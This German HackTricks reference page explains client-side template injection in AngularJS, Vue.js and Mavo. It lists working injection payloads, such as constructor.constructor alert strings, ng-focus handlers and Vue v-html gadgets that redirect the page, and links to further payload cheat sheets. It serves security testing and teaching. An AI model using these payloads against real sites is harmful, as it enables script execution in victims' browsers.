7.2 KiB
Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks beworben sehen möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repositories einreichen.
Zusammenfassung
Es ist wie eine Serverseitige Template-Injection, aber auf der Client-Seite. Die SSTI kann es Ihnen ermöglichen, Code auf dem entfernten Server auszuführen, die CSTI könnte es Ihnen ermöglichen, beliebigen JavaScript-Code im Browser des Opfers auszuführen.
Das Testen dieser Schwachstelle ist sehr ähnlich wie im Fall von SSTI, der Interpreter erwartet eine Vorlage und wird sie ausführen. Zum Beispiel, mit einem Payload wie {{ 7-7 }}
, wenn die App anfällig ist, sehen Sie eine 0
, und wenn nicht, sehen Sie das Original: {{ 7-7 }}
AngularJS
AngularJS ist ein weit verbreitetes JavaScript-Framework, das mit HTML durch Attribute interagiert, die als Direktiven bekannt sind, wobei eine davon ng-app
ist. Diese Direktive ermöglicht es AngularJS, den HTML-Inhalt zu verarbeiten und die Ausführung von JavaScript-Ausdrücken innerhalb doppelter geschweifter Klammern zu ermöglichen.
In Szenarien, in denen Benutzereingaben dynamisch in den HTML-Body eingefügt werden, der mit ng-app
markiert ist, ist es möglich, beliebigen JavaScript-Code auszuführen. Dies kann durch Nutzung der Syntax von AngularJS innerhalb der Eingabe erreicht werden. Im Folgenden sind Beispiele aufgeführt, die zeigen, wie JavaScript-Code ausgeführt werden kann:
{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>
<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
Sie können ein sehr einfaches Online-Beispiel für die Schwachstelle in AngularJS unter http://jsfiddle.net/2zs2yv7o/ und im Burp Suite Academy finden.
{% hint style="danger" %}
Angular 1.6 hat den Sandbox entfernt, daher sollte ab dieser Version ein Payload wie {{constructor.constructor('alert(1)')()}}
oder <input ng-focus=$event.view.alert('XSS')>
funktionieren.
{% endhint %}
VueJS
Sie können eine anfällige Vue-Implementierung unter https://vue-client-side-template-injection-example.azu.now.sh/ finden.
Funktionsfähiger Payload: https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%
Und der Quellcode des anfälligen Beispiels hier: https://github.com/azu/vue-client-side-template-injection-example
<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
Eine wirklich gute Post zu CSTI in VUE findest du unter https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets
V3
{{_openBlock.constructor('alert(1)')()}}
Kredit: Gareth Heyes, Lewis Ardern & PwnFunction
V2
{{constructor.constructor('alert(1)')()}}
Kredit: Mario Heiderich
Überprüfen Sie weitere VUE-Payloads unter https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected
Mavo
Payload:
[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]
Weitere Payloads unter https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations
Brute-Force Detection List
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks beworben sehen möchten oder HackTricks in PDF herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merch
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repositories einreichen.